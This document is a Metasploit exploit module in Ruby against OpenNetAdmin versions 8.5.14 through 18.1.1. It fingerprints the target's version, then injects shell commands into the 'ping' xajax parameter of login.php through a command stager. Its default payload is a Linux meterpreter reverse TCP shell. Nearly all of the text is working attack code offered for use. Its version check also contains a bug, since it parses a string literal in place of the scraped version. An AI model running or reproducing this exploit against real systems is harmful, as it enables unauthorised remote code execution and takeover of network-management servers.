OpenNetAdmin 18.1.1 – Command Injection Exploit (Metasploit)
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'OpenNetAdmin Ping Command Injection', 'Description' => %q{ This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1. }, 'Author' => [ 'mattpascoe', # Vulnerability discovery 'Onur ER <onur@onurer.net>' # Metasploit module ], 'References' => [ ['EDB', '47691'] ], 'DisclosureDate' => '2019-11-19', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Automatic Target', {}] ], 'DefaultOptions' => { 'RPORT' => 80, 'payload' => 'linux/x86/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options( [ OptString.new('VHOST', [false, 'HTTP server virtual host']), OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php']) ] ) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'vars_post' => { 'xajax' => 'window_open', 'xajaxargs[]' => 'app_about' } }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.body =~ /OpenNetAdmin/i return CheckCode::Safe end opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first version = Gem::Version.new('opennetadmin_version') if version vprint_status "OpenNetAdmin version #{version}" end if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1') return CheckCode::Appears end CheckCode::Detected end def exploit print_status('Exploiting...') execute_cmdstager(flavor: :printf) end def filter_bad_chars(cmd) cmd.gsub!(/chmod \+x/, 'chmod 777') end def execute_command(cmd, opts = {}) post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping" begin send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'data' => post_data }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end |